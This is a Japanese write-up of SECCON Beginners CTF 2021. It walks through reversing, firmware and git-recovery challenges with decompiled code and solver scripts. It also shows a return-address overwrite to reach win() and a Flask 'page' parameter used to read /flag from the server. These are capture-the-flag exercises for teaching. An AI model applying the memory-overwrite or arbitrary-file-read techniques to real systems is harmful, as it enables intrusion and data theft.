概要
2021/5/24-25に開催されたSECCON Beginners CTF 2021のWriteupになります。
作問者のみなさま、運営の皆様、2日間ありがとうございました!
welcome(Point: 51 pt, Solved: 895 team)
問題
Welcome to SECCON Beginners CTF 2021!
フラグはDiscordサーバのannouncementsチャンネルにあります。
攻略方法
開始時刻にDiscordのチャンネルにフラグが書き込きこまれる問題でした。(去年と同じ)
フラグ
ctf4b{Welcome_to_SECCON_Beginners_CTF_2021}
reversing
[Beginner]only_read(Point: 55 pt, Solved: 450 team)
問題
バイナリ読めなきゃやばいなり〜
chall 271938a479a59fe40438b9ecf0e2fca002fe085b
攻略環境
攻略方法
ファイルをダウンロード、file
コマンドで概要を確認します。
┌──(vagrant㉿kali)-[/vagrant/reversing/only_read]
└─$ file chall
chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=416db4d9fdab2e1d244740eabdf3ee326dc0fcef, for GNU/Linux 3.2.0, not stripped
ELFファイルなので、実行権限を付けて実行して動作を見てみます。

┌──(vagrant㉿kali)-[/vagrant/reversing/only_read]
└─$ chmod 755 chall

┌──(vagrant㉿kali)-[/vagrant/reversing/only_read]
└─$ ./chall
A <-- 入力
Incorrect
Incorrectになりましたが、入力値の判断を行う単純なプログラムだということがわかりました。
これ以上は情報がないので、Ghidraで見てみます。
void main(void)
{
ssize_t sVar1;
long in_FS_OFFSET;
undefined8 local_28;
undefined8 local_20;
undefined4 local_18;
undefined2 local_14;
char local_12;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_28 = 0;
local_20 = 0;
local_18 = 0;
local_14 = 0;
local_12 = '\0';
sVar1 = read(0,&local_28,0x17);
*(undefined *)((long)&local_28 + sVar1) = 0;
if (((((((char)local_28 == 'c') && (local_28._1_1_ == 't')) && (local_28._2_1_ == 'f')) &&
(((local_28._3_1_ == '4' && (local_28._4_1_ == 'b')) &&
((local_28._5_1_ == '{' && ((local_28._6_1_ == 'c' && (local_28._7_1_ == '0')))))))) &&
(((char)local_20 == 'n' &&
((((((local_20._1_1_ == '5' && (local_20._2_1_ == 't')) && (local_20._3_1_ == '4')) &&
((local_20._4_1_ == 'n' && (local_20._5_1_ == 't')))) &&
((local_20._6_1_ == '_' && ((local_20._7_1_ == 'f' && ((char)local_18 == '0')))))) &&
(local_18._1_1_ == 'l')))))) &&
((((local_18._2_1_ == 'd' && (local_18._3_1_ == '1')) && ((char)local_14 == 'n')) &&
((local_14._1_1_ == 'g' && (local_12 == '}')))))) {
puts("Correct");
}
else {
puts("Incorrect");
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
mainをデコンパイルすると、入力文字列を格納しているlocal_28
を一文字ずつ比較していることがわかり、これを組み立てるとctf4b{c0n5t4nt_f0ld1ng}
になりそうです。
プログラムで確認すると以下の通り、Correctになりました。
┌──(vagrant㉿kali)-[/vagrant/reversing/only_read]
└─$ ./chall
ctf4b{c0n5t4nt_f0ld1ng}
Correct
フラグ
ctf4b{c0n5t4nt_f0ld1ng}
[Easy]children(Point: 73 pt, Solved: 301 team)
問題
これから10個の子プロセスを作るよ。 彼らの情報を正しく答えられたら、FLAGをあげるね。 ちなみに、子プロセスは追加の子プロセスを生む可能性があるから注意してね。
children 336f0a34491926dac7c1ee43c63c4413c2a81ede
攻略環境
攻略方法
┌──(vagrant㉿kali)-[/vagrant/reversing/children]
└─$ ./children
I will generate 10 child processes.
They also might generate additional child process.
Please tell me each process id in order to identify them!
Please give me my child pid!
pidを答えるようなので、psで調べながら回答します。
┌──(vagrant㉿kali)-[~]
└─$ ps -ef | grep children
vagrant 9383 7170 0 01:23 pts/0 00:00:00 ./children
vagrant 9384 9383 0 01:23 pts/0 00:00:00 [children] <defunct>
vagrant 9385 9383 0 01:23 pts/0 00:00:00 [children] <defunct>
回答すると次のpidが聞かれました。
┌──(vagrant㉿kali)-[/vagrant/reversing/children]
└─$ ./children
I will generate 10 child processes.
They also might generate additional child process.
Please tell me each process id in order to identify them!
Please give me my child pid!
9385
ok
Please give me my child pid!
問題文のとおり、10個のプロセスを作るようなので、10回問答がありそうです。pidを調べながら対応をしていきます。
10回聞かれたところで、起動したchild processの数が聞かれました。
How many children were born?
子プロセス数を数えて入力すると、フラグが取得できました。
How many children were born?
17
ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}
reverseすることなく終わってしましました。。。
フラグ
ctf4b{p0werfu1_tr4sing_t0015_15_usefu1}
[Easy]please_not_trace_me(Point: 242 pt, Solved: 86 team)
問題
フラグを復号してくれるのは良いけど,表示してくれない!!
chall 7e3285ee71b14355a62e9fe2dcdb22ec2c13e080
攻略環境
攻略方法
まずは実行してみます。
┌──(vagrant㉿kali)-[/vagrant/reversing/please_not_trace_me]
└─$ chmod 755 chall
┌──(vagrant㉿kali)-[/vagrant/reversing/please_not_trace_me]
└─$ ./chall
flag decrypted. bye.
問題文にあるように、フラグを復号しているが表示されないようです。これ以上は、情報が得られなそうなのでGhidraで確認をします。
void main(undefined4 param_1,undefined8 param_2,undefined8 param_3)
{
int local_54;
int local_50;
char *local_48;
long local_40;
long local_38;
long local_30;
megaInit();
local_30 = 9;
_global_argv = param_2;
_global_argc = param_1;
_global_envp = param_3;
do {
switch(local_30) {
case 0:
local_50 = 2;
local_30 = 0xb;
break;
case 2:
local_30 = _1_main_flag_func_0(local_38,-1,0x10,5);
break;
case 5:
if (local_50 == 6) {
local_30 = 0x12;
}
else {
local_30 = 8;
}
break;
case 6:
if (local_40 == 0) {
local_30 = 0;
}
else {
local_30 = 0xb;
}
break;
case 8:
fwrite("prease not trace me...\n",1,0x17,stderr);
/* WARNING: Subroutine does not return */
exit(1);
case 9:
local_54 = 0;
local_30 = 10;
break;
case 10:
switch(local_54) {
case 0:
local_30 = 0x16;
break;
case 1:
local_30 = 0xf;
break;
case 2:
local_30 = 0x13;
break;
case 3:
local_30 = 0x14;
break;
case 4:
local_30 = 0x11;
break;
case 5:
local_30 = 0x15;
break;
default:
local_30 = 0x12;
}
break;
case 0xb:
local_38 = ptrace(PTRACE_TRACEME,0,1,0);
local_30 = 2;
break;
case 0xf:
local_48 = (char *)malloc(0x10);
local_30 = 0x12;
break;
case 0x10:
local_50 = local_50 * 3;
local_30 = 5;
break;
case 0x11:
puts("flag decrypted. bye.");
local_30 = 0x12;
break;
case 0x12:
local_54 = local_54 + 1;
local_30 = 10;
break;
case 0x13:
generate_key(local_48);
local_30 = 0x12;
break;
case 0x14:
rc4(e,local_48);
local_30 = 0x12;
break;
case 0x15:
/* WARNING: Subroutine does not return */
exit(0);
case 0x16:
local_50 = 0;
local_40 = ptrace(PTRACE_TRACEME,0,1,0);
local_30 = 6;
}
} while( true );
}
mainをでコンパイルすると以下のことがわかりました。
-
generate_key(local_48);
で、キーの生成をしている。 -
rc4(e,local_48);
で、e
をlocal_48
(キー)で、復号している
キーの値と暗号文であるe
の値を特定する必要がありそうです。
変数e
は以下の関数で初期化されていました。

void e_i$nit(void)
{
e[0] = 0x80;
e[1] = 0x97;
e[2] = 0x85;
e[3] = 0xd7;
e[4] = 0x81;
e[5] = 0x98;
e[6] = 0x87;
e[7] = 0xd2;
e[8] = 0x87;
e[9] = 0xbc;
e[10] = 0x9a;
e[11] = 0xd3;
e[12] = 0x96;
e[13] = 0xbc;
e[14] = 0x87;
e[15] = 0xd0;
e[16] = 0x80;
e[17] = 0x91;
e[18] = 0x9a;
e[19] = 0x93;
e[20] = 0x97;
e[21] = 0xbc;
e[22] = 0x91;
e[23] = 0x80;
e[24] = 0xd7;
e[25] = 0xdc;
e[26] = 0x9e;
return;
}
次にキーを見ていきます。generate_key()
では、以下の通り処理をしています。strcpy
に使用されている変数に着目すると、encodeStrings_litStr0
の値をparam_1
にコピーしているため、_2_stringEncoder
でキーが生成されていそうだと予測できます。
void generate_key(char *param_1)
{
bool bVar1;
bVar1 = false;
do {
while (!bVar1) {
_2_stringEncoder(0,encodeStrings_litStr0);
strcpy(param_1,encodeStrings_litStr0);
bVar1 = true;
}
} while (!bVar1);
return;
}
_2_stringEncoder
を見ると、キーがわかりました。
void _2_stringEncoder(int param_1,undefined *param_2)
{
if (param_1 == 0) {
*param_2 = 0x6e;
param_2[1] = 0x69;
param_2[2] = 99;
param_2[3] = 0x6b;
param_2[4] = 0x65;
param_2[5] = 0x6c;
param_2[6] = 0x6f;
param_2[7] = 100;
param_2[8] = 0x65;
param_2[9] = 0x6f;
param_2[10] = 0x6e;
param_2[0xb] = 0;
}
return;
}
RC4で暗号化されてそうなので、CyberChefで復号を試みるもうまくいきません。
そのため、rc4()
関数で行っている処理をPythonで実施して実行すると、フラグを取得できました。
# !/usr/bin/env python3
table = [i for i in range(256)]
print(table)
key = ""
key += chr(0x6e)
key += chr(0x69)
key += chr(99)
key += chr(0x6b)
key += chr(0x65)
key += chr(0x6c)
key += chr(0x6f)
key += chr(100)
key += chr(0x65)
key += chr(0x6f)
key += chr(0x6e)
print(key)
e = [0 for x in range(27)]
e[0] = 0x80
e[1] = 0x97
e[2] = 0x85
e[3] = 0xd7
e[4] = 0x81
e[5] = 0x98
e[6] = 0x87
e[7] = 0xd2
e[8] = 0x87
e[9] = 0xbc
e[10] = 0x9a
e[11] = 0xd3
e[12] = 0x96
e[13] = 0xbc
e[14] = 0x87
e[15] = 0xd0
e[16] = 0x80
e[17] = 0x91
e[18] = 0x9a
e[19] = 0x93
e[20] = 0x97
e[21] = 0xbc
e[22] = 0x91
e[23] = 0x80
e[24] = 0xd7
e[25] = 0xdc
e[26] = 0x9e
print(e)
"""
j = 0;
local_150 = 0;
while (j < 256) {
iVar1 = (int)key[j % (int)length_key] + (uint)table[j] + local_150;
uVar2 = (uint)(iVar1 >> 0x1f) >> 0x18;
local_150 = (iVar1 + uVar2 & 0xff) - uVar2;
swap(table + j,table + local_150);
j = j + 1;
}
"""
print(table)
local_150 = 0
for i in range(256):
iVar1 = ord(key[i % len(key)]) + table[i] + local_150
uVar2 = (iVar1 >> 0x1f) >> 0x18
local_150 = (iVar1 + uVar2 & 0xff) - uVar2
# swap
temp = table[i]
table[i] = table[local_150]
table[local_150] = temp
print(table)
"""
while (k < (int)length_encrypt_text) {
swap(table,table);
*(byte *)((long)decode_text + (long)k) =
encrypt_text[k] ^ table[(int)(uint)(byte)(table[0] * '\x02')];
k = k + 1;
}
"""
flag = ""
for i in range(len(e)):
print(table[0])
print(table[0] * 0x02)
print(table[table[0] * 0x02])
print(e[i] ^ 227)
flag += chr(e[i] ^ table[table[0] * 0x02])
print(flag)
フラグ
ctf4b{d1d_y0u_d3crypt_rc4?}
[Medium]be_angry(Point: 234 pt, Solved: 90 team)
問題
読みづらいからって怒らないでください😢
chall 1f28957cd66a7ed62240f51535db0eb547a0ef2d
攻略環境
攻略方法
問題文から、去年のyakisobaと同じような感じがするが、与えられたバイナリの動作を見てみる。
┌──(root💀kali)-[/vagrant/reversing/be_angry]
└─# file be_angry_chall
be_angry_chall: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6c0f9413ab09e8549fbb857a910dcb7193fe6b2b, for GNU/Linux 3.2.0, not stripped
┌──(root💀kali)-[/vagrant/reversing/be_angry]
└─# chmod 755 be_angry_chall
┌──(root💀kali)-[/vagrant/reversing/be_angry]
└─# ./be_angry_chall
AAA
Incorrect!!
フラグを入力すると、成否を判断してくれそうであるが、手がかりはないのでGhidraで開いてみが、main関数内でswitch-caseで分岐が多く、自力で解析するのは難しそうである。
しかし、Correct
した時点では入力値との照合のためにフラグが作られている可能性が高いため、angrで解析をすることにした。
case 0x20:
puts("Correct!!");
local_160 = 0x27;
break;
ターゲットとなるアドレスを確認する。
確認ができたので、以下のスクリプトを書いて実行したところフラグを取得できた。
# !/usr/bin/env python3
import angr
project = angr.Project('./be_angry_chall')
@project.hook((0x400000 + 0x02539))
def print_flag(state):
print("FLAG SHOULD BE:", state.posix.dumps(0))
project.terminate_execution()
project.execute()
┌──(root💀kali)-[/vagrant/reversing/be_angry]
└─# python3 solver.py
FLAG SHOULD BE: b'ctf4b{3nc0d3_4r1thm3t1c}'
フラグ
ctf4b{3nc0d3_4r1thm3t1c}
[Medium]firmware(Point: 302 pt, Solved: 59 team)
問題
ctf4b networks社のページからファームウェアをダウンロードしてきました。
このファイルの中からパスワードを探してください。
firmware.tar.gz d8cee86716be435c1abf6eec8a821a8f2717af18
攻略環境
攻略方法
対象ファイルを回答すると、2つのファイルがでてきた。
┌──(root💀kali)-[/vagrant/reversing/firmware]
└─# tar xvfz firmware.tar.gz
firmware/
firmware/README.txt
firmware/firmware.bin
firmware/firmware.bin
を確認するとデータファイルであった。
┌──(root💀kali)-[/vagrant/reversing/firmware]
└─# file firmware/firmware.bin
firmware/firmware.bin: data
Cryptoではないので、暗号化されていないと考え中身を見てみると、SVGファイルが含まれていることがわかった。
┌──(root💀kali)-[/vagrant/reversing/firmware/firmware]
└─# hexdump -C firmware.bin | more
00000720 e2 95 90 e2 95 9d 0a 3c 73 76 67 20 78 6d 6c 6e |.......<svg xmln|
00000730 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 |s="http://www.w3|
00000740 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 |.org/2000/svg" v|
00000750 69 65 77 42 6f 78 3d 22 30 20 30 20 34 34 38 20 |iewBox="0 0 448 |
00000760 35 31 32 22 3e 3c 21 2d 2d 20 46 6f 6e 74 20 41 |512"><!-- Font A|
00000770 77 65 73 6f 6d 65 20 46 72 65 65 20 35 2e 31 35 |wesome Free 5.15|
00000780 2e 33 20 62 79 20 40 66 6f 6e 74 61 77 65 73 6f |.3 by @fontaweso|
00000790 6d 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 6f 6e |me - https://fon|
000007a0 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 20 4c 69 63 |tawesome.com Lic|
000007b0 65 6e 73 65 20 2d 20 68 74 74 70 73 3a 2f 2f 66 |ense - https://f|
000007c0 6f 6e 74 61 77 65 73 6f 6d 65 2e 63 6f 6d 2f 6c |ontawesome.com/l|
000007d0 69 63 65 6e 73 65 2f 66 72 65 65 20 28 49 63 6f |icense/free (Ico|
000007e0 6e 73 3a 20 43 43 20 42 59 20 34 2e 30 2c 20 46 |ns: CC BY 4.0, F|
000007f0 6f 6e 74 73 3a 20 53 49 4c 20 4f 46 4c 20 31 2e |onts: SIL OFL 1.|
00000800 31 2c 20 43 6f 64 65 3a 20 4d 49 54 20 4c 69 63 |1, Code: MIT Lic|
00000810 65 6e 73 65 29 20 2d 2d 3e 3c 70 61 74 68 20 64 |ense) --><path d|
00000820 3d 22 4d 34 30 30 20 33 32 48 34 38 43 32 31 2e |="M400 32H48C21.|
他にもファイルが含まれている可能性があるので、binwalk
で確認をすると複数のファイルが存在することが確認できた。
┌──(root💀kali)-[/vagrant/reversing/firmware/firmware]
└─# binwalk firmware.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
127 0x7F Base64 standard index table
2343 0x927 Copyright string: "Copyright 2011-2021 The Bootstrap Authors"
2388 0x954 Copyright string: "Copyright 2011-2021 Twitter, Inc."
83503 0x1462F PNG image, 594 x 100, 8-bit grayscale, non-interlaced
83544 0x14658 Zlib compressed data, best compression
90593 0x161E1 ELF, 32-bit LSB shared object, ARM, version 1 (SYSV)
100906 0x18A2A Unix path: /usr/lib/gcc/arm-linux-gnueabihf/9/../../../arm-linux-gnueabihf/Scrt1.o
103485 0x1943D JPEG image data, JFIF standard 1.01
117167 0x1C9AF PEM certificate
117786 0x1CC1A HTML document header
118641 0x1CF71 HTML document footer
ELFファイルが確認できた。このファイルにフラグが隠れてそうであるため、ファイルの取り出しを行う。
┌──(root💀kali)-[/vagrant/reversing/firmware/firmware]
└─# binwalk --dd='.*' firmware.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
127 0x7F Base64 standard index table
2343 0x927 Copyright string: "Copyright 2011-2021 The Bootstrap Authors"
2388 0x954 Copyright string: "Copyright 2011-2021 Twitter, Inc."
83503 0x1462F PNG image, 594 x 100, 8-bit grayscale, non-interlaced
83544 0x14658 Zlib compressed data, best compression
90593 0x161E1 ELF, 32-bit LSB shared object, ARM, version 1 (SYSV)
100906 0x18A2A Unix path: /usr/lib/gcc/arm-linux-gnueabihf/9/../../../arm-linux-gnueabihf/Scrt1.o
103485 0x1943D JPEG image data, JFIF standard 1.01
117167 0x1C9AF PEM certificate
117786 0x1CC1A HTML document header
118641 0x1CF71 HTML document footer
┌──(root💀kali)-[/vagrant/reversing/firmware/firmware]
└─# tree _firmware.bin.extracted
_firmware.bin.extracted
├── 1462F
├── 14658
├── 14658.zlib
├── 161E1
├── 18A2A
├── 1943D
├── 1C9AF
├── 1CC1A
├── 1CF71
├── 7F
├── 927
└── 954
取り出した、161E1
をGhidraで解析する。
memcpy(acStack4212,
"This is a IoT device made by ctf4b networks. Password authentication is required to operate.\n"
,0x5e);
sVar2 = strlen(acStack4212);
send(local_11d8,acStack4212,sVar2,0);
local_109c = 0x75706e49;
uStack4248 = 0x61702074;
uStack4244 = 0x6f777373;
uStack4240 = 0x28206472;
local_108c = 0x73736170;
uStack4232 = 0x64726f77;
uStack4228 = 0x20736920;
uStack4224 = 0x47414c46;
local_107c = 0x203e2029;
local_1078 = 0;
sVar2 = strlen((char *)&local_109c);
send(local_11d8,&local_109c,sVar2,0);
memset(abStack4116,0,0x1000);
recv(local_11d8,abStack4116,0x1000,0);
printf("%s",abStack4116);
memcpy(auStack4520,&DAT_00010ea4,0xf4);
sVar2 = strlen((char *)abStack4116);
if (sVar2 != 0x3d) {
local_10b4 = 0x6f636e49;
uStack4272 = 0x63657272;
uStack4268 = 0x61702074;
uStack4264 = 0x6f777373;
local_10a4 = 0xa2e6472;
local_10a0 = 0;
sVar2 = strlen((char *)&local_10b4);
send(local_11d8,&local_10b4,sVar2,0);
close(local_11d8);
}
local_11e0 = 0;
while (local_11e0 < 0x3d) {
if ((uint)(abStack4116[local_11e0] ^ 0x53) != auStack4520[local_11e0]) {
local_10b4 = 0x6f636e49;
uStack4272 = 0x63657272;
uStack4268 = 0x61702074;
uStack4264 = 0x6f777373;
local_10a4 = 0xa2e6472;
local_10a0 = 0;
sVar2 = strlen((char *)&local_10b4);
send(local_11d8,&local_10b4,sVar2,0);
close(local_11d8);
}
local_11e0 = local_11e0 + 1;
}
mainをでコンパイルした結果、以下が判明した。
- 実行時にパスワード認証をしている。
- 入力値は
abStack4116
に格納される。 - 入力値の長さは0x3dである必要がある。
- 入力値を1文字ずつ0x53とXORした結果が、
auStack4520
と一致するかをチェックしている。 -
auStack4520
は&DAT_00010ea4
で、定義された値をコピーしている。
つまり、&DAT_00010ea4
をXORすれば、パスワードが得られそうである。
以下のGhidra Scriptを書いて実行したところフラグが得られた。
# TODO write a description for this script
# @author
# @category _NEW_
# @keybinding
# @menupath
# @toolbar
# TODO Add User Code Here
data = getBytes(toAddr(0x00010ea4), 0xf4)
print(data)
flag = ""
for i in range(0x3d):
flag += chr(data[i*4] ^ 0x53)
print(flag)
solver_firmware.py> Running...
array('b', [48, 0, 0, 0, 39, 0, 0, 0, 53, 0, 0, 0, 103, 0, 0, 0, 49, 0, 0, 0, 40, 0, 0, 0, 58, 0, 0, 0, 99, 0, 0, 0, 39, 0, 0, 0, 12, 0, 0, 0, 55, 0, 0, 0, 54, 0, 0, 0, 37, 0, 0, 0, 98, 0, 0, 0, 48, 0, 0, 0, 54, 0, 0, 0, 12, 0, 0, 0, 53, 0, 0, 0, 58, 0, 0, 0, 33, 0, 0, 0, 62, 0, 0, 0, 36, 0, 0, 0, 103, 0, 0, 0, 33, 0, 0, 0, 54, 0, 0, 0, 12, 0, 0, 0, 50, 0, 0, 0, 61, 0, 0, 0, 50, 0, 0, 0, 98, 0, 0, 0, 42, 0, 0, 0, 32, 0, 0, 0, 58, 0, 0, 0, 96, 0, 0, 0, 12, 0, 0, 0, 33, 0, 0, 0, 54, 0, 0, 0, 37, 0, 0, 0, 96, 0, 0, 0, 50, 0, 0, 0, 98, 0, 0, 0, 32, 0, 0, 0, 12, 0, 0, 0, 50, 0, 0, 0, 12, 0, 0, 0, 63, 0, 0, 0, 99, 0, 0, 0, 39, 0, 0, 0, 12, 0, 0, 0, 60, 0, 0, 0, 53, 0, 0, 0, 12, 0, 0, 0, 102, 0, 0, 0, 54, 0, 0, 0, 48, 0, 0, 0, 33, 0, 0, 0, 54, 0, 0, 0, 100, 0, 0, 0, 32, 0, 0, 0, 46, 0, 0, 0, 89, 0, 0, 0])
ctf4b{i0t_dev1ce_firmw4re_ana1ysi3_rev3a1s_a_l0t_of_5ecre7s}
solver_firmware.py> Finished!
フラグ
ctf4b{i0t_dev1ce_firmw4re_ana1ysi3_rev3a1s_a_l0t_of_5ecre7s}
pwnable
[Beginner]rewriter(Point: 108 pt, Solved: 205 team)
問題
任意のアドレスの値を書き換えたい時,ありますよね?
nc rewriter.quals.beginners.seccon.jp 4103
rewriter.tar.gz 90a2468835aee4d08cd90c8fb22eec466fdd1517
攻略環境
攻略方法
アーカイブを解凍すると、実行ファイルとソースコードが含まれていた。
┌──(root💀kali)-[/vagrant/pwnable/rewriter]
└─# tar xvfz rewriter.tar.gz
rewriter/
rewriter/chall
rewriter/src.c
src.c
は以下の通りになっており、mainから呼び出されていないwin()
を呼び出すようにすればフラグが取得できそうである。
# include <stdio.h>
# include <stdlib.h>
# include <string.h>
# include <sys/stat.h>
# include <sys/types.h>
# include <fcntl.h>
# include <unistd.h>
# include <err.h>
# define BUFF_SIZE 0x20
void win() {
execve("/bin/cat", (char*[3]){"/bin/cat", "flag.txt", NULL}, NULL);
}
void show_stack(unsigned long *stack);
int main() {
unsigned long target = 0, value = 0;
char buf[BUFF_SIZE] = {0};
show_stack(buf);
printf("Where would you like to rewrite it?\n> ");
buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0;
target = strtol(buf, NULL, 0);
printf("0x%016lx = ", target);
buf[read(STDIN_FILENO, buf, BUFF_SIZE-1)] = 0;
value = strtol(buf, NULL, 0);
*(long*)target = value;
}
void show_stack(unsigned long *stack) {
printf("\n%-20s|%-20s\n", "[Addr]", "[Value]");
puts("====================+===================");
for (int i = 0; i < 10; i++) {
printf(" 0x%016lx | 0x%016lx ", &stack[i], stack[i]);
if (&stack[i] == stack)
printf(" <- buf");
if (&stack[i] == ((unsigned long)stack + BUFF_SIZE))
printf(" <- target");
if (&stack[i] == ((unsigned long)stack + BUFF_SIZE + 0x8))
printf(" <- value");
if (&stack[i] == ((unsigned long)stack + BUFF_SIZE + 0x10))
printf(" <- saved rbp");
if (&stack[i] == ((unsigned long)stack + BUFF_SIZE + 0x18))
printf(" <- saved ret addr");
puts("");
}
puts("");
}
__attribute__((constructor))
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
}
ソースを見ているが、実行ファイルの方も挙動を確認してみる。
┌──(root💀kali)-[/vagrant/pwnable/rewriter/rewriter]
└─# ./chall
[Addr] |[Value]
====================+===================
0x00007fff66be0530 | 0x0000000000000000 <- buf
0x00007fff66be0538 | 0x0000000000000000
0x00007fff66be0540 | 0x0000000000000000
0x00007fff66be0548 | 0x0000000000000000
0x00007fff66be0550 | 0x0000000000000000 <- target
0x00007fff66be0558 | 0x0000000000000000 <- value
0x00007fff66be0560 | 0x0000000000401520 <- saved rbp
0x00007fff66be0568 | 0x00007fe9b3980d0a <- saved ret addr
0x00007fff66be0570 | 0x00007fff66be0658
0x00007fff66be0578 | 0x0000000100000000
Where would you like to rewrite it?
> 0x00007fff66be0568
0x00007fff66be0568 = 0x00007fff66be0568
[Addr] |[Value]
====================+===================
0x00007fff66be0530 | 0x6637303030307830 <- buf
0x00007fff66be0538 | 0x3530656236366666
0x00007fff66be0540 | 0x00000000000a3836
0x00007fff66be0548 | 0x0000000000000000
0x00007fff66be0550 | 0x00007fff66be0568 <- target
0x00007fff66be0558 | 0x00007fff66be0568 <- value
0x00007fff66be0560 | 0x0000000000401520 <- saved rbp
0x00007fff66be0568 | 0x00007fff66be0568 <- saved ret addr
0x00007fff66be0570 | 0x00007fff66be0658
0x00007fff66be0578 | 0x0000000100000000
zsh: segmentation fault ./chall
指定したアドレスの値を任意に書き換えることができるようなので、win()
のアドレスがわかればROPが成功しそうである。
pwndbgでwin()
のアドレスを確認する。
pwndbg> info function win
All functions matching regular expression "win":
File ../sysdeps/gnu/unwind-resume.c:
59: void _Unwind_Resume(struct _Unwind_Exception *);
File ../sysdeps/nptl/jmp-unwind.c:
28: void _longjmp_unwind(struct __jmp_buf_tag *, int);
File ../sysdeps/posix/rewinddir.c:
26: void __GI___rewinddir(DIR *);
26: void __rewinddir(DIR *);
File forward.c:
170: void __pthread_unwind(__pthread_unwind_buf_t *);
File rewind.c:
31: void __GI_rewind(FILE *);
Non-debugging symbols:
0x00000000004011f6 win
アドレスがわかったので、値の書き換えを実施すると以下の通りフラグが取得できた。
┌──(root💀kali)-[/vagrant/pwnable/rewriter/rewriter]
└─# nc rewriter.quals.beginners.seccon.jp 4103
[Addr] |[Value]
====================+===================
0x00007ffc2e164760 | 0x0000000000000000 <- buf
0x00007ffc2e164768 | 0x0000000000000000
0x00007ffc2e164770 | 0x0000000000000000
0x00007ffc2e164778 | 0x0000000000000000
0x00007ffc2e164780 | 0x0000000000000000 <- target
0x00007ffc2e164788 | 0x0000000000000000 <- value
0x00007ffc2e164790 | 0x0000000000401520 <- saved rbp
0x00007ffc2e164798 | 0x00007f4e0856dbf7 <- saved ret addr
0x00007ffc2e1647a0 | 0x0000000000000001
0x00007ffc2e1647a8 | 0x00007ffc2e164878
Where would you like to rewrite it?
> 0x00007ffc2e164798
0x00007ffc2e164798 = 0x00000000004011f6
[Addr] |[Value]
====================+===================
0x00007ffc2e164760 | 0x3030303030307830 <- buf
0x00007ffc2e164768 | 0x3131303430303030
0x00007ffc2e164770 | 0x00000000000a3666
0x00007ffc2e164778 | 0x0000000000000000
0x00007ffc2e164780 | 0x00000000004011f6 <- target
0x00007ffc2e164788 | 0x00007ffc2e164798 <- value
0x00007ffc2e164790 | 0x0000000000401520 <- saved rbp
0x00007ffc2e164798 | 0x00000000004011f6 <- saved ret addr
0x00007ffc2e1647a0 | 0x0000000000000001
0x00007ffc2e1647a8 | 0x00007ffc2e164878
ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}
フラグ
ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}
web
[Beginner]osoba(Point: 51 pt, Solved: 649 team)
問題
美味しいお蕎麦を食べたいですね。フラグはサーバの /flag にあります!
https://osoba.quals.beginners.seccon.jp/osoba.tar.gz 566021e832a474559dfb67f5d3cd0bed14147f9b
攻略環境
- Firefox ESR(78.7.0esr-1)
攻略方法
アクセス先と合わせて、アプリケーションコードが配布されているので、確認をします。
from flask import Flask, request, send_file, make_response
app = Flask(__name__)
@app.route("/", methods=["GET", "POST"])
def index():
page = request.args.get('page', 'public/index.html')
response = make_response(send_file(page))
response.content_type = "text/html"
return response
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8080)
リクエストパラメータのpage
に/flag
を指定するとフラグが取得できそうなので、試したらフラグが取得できました。
フラグ
ctf4b{omisoshiru_oishi_keredomo_tsukuruno_taihen}
misc
[Easy]git-leak(Point: 58 pt, Solved: 410 team)
問題
後輩が誤って機密情報をコミットしてしまったらしいです。ひとまずコミットを上書きして消したからこれで大丈夫ですよね?
git-leak.zip df0dc798437439dac5195f2b56adb35ce0d93b61
攻略環境
攻略方法
.gitディレクトリを含むアーカイブがあり、objectsからファイルを復旧させて、フラグを検索すれば良さそうです。
┌──(root💀kali)-[/vagrant/misc/git-leak/dist]
└─# for object in `ls -la .git/objects/*/* | cut -d"/" -f3,4 | tr -d "/"`; do git cat-file -p $object; done > output.txt
┌──(root💀kali)-[/vagrant/misc/git-leak/dist]
└─# cat output.txt| grep ctf
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}
フラグ
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}